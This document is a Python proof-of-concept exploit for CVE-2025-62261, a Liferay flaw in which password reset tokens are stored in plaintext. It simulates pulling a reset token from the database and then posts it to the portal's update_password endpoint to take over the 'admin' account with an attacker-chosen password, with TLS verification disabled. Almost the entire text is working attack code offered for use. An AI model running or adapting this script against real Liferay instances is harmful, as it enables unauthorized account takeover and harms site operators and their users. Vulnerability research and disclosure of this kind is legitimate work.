CVE-2025-62261

# CVE-2025-62261 PoC - Liferay Password Reset Token Exploitation # This PoC demonstrates the exploitation of plaintext password reset token storage import requests import json import time TARGET_URL = "https://target-liferay-instance.com" ATTACKER_DB_ACCESS = True # Simulating database access def get_plaintext_token_from_db(username): """ Simulate database query to retrieve plaintext password reset token In real scenario, this would be an SQL query or direct database access """ # Example SQL: SELECT password_reset_token FROM User_ WHERE screenName = 'target_user' # Token would be stored in plaintext like: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890' mock_token = "a1b2c3d4-e5f6-7890-abcd-ef1234567890" return mock_token def reset_password_via_token(username, token, new_password): """ Use the obtained token to reset user password """ reset_endpoint = f"{TARGET_URL}/c/portal/update_password" payload = { "p_u_i_d": username, "passwordResetToken": token, "password1": new_password, "password2": new_password } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(reset_endpoint, json=payload, headers=headers, verify=False, timeout=30) return response.status_code, response.text except requests.RequestException as e: return None, str(e) def exploit(username, new_password="HackedP@ss123"): """ Main exploitation function """ print(f"[*] Starting exploitation for user: {username}") # Step 1: Get plaintext token from database token = get_plaintext_token_from_db(username) print(f"[+] Obtained plaintext token: {token}") # Step 2: Use token to reset password print(f"[*] Attempting password reset...") status, response = reset_password_via_token(username, token, new_password) if status == 200: print(f"[+] SUCCESS: Password reset completed for {username}") print(f"[+] New password set: {new_password}") return True else: print(f"[-] FAILED: Status {status}, Response: {response}") return False if __name__ == "__main__": # Target configuration target_user = "admin" exploit(target_user)

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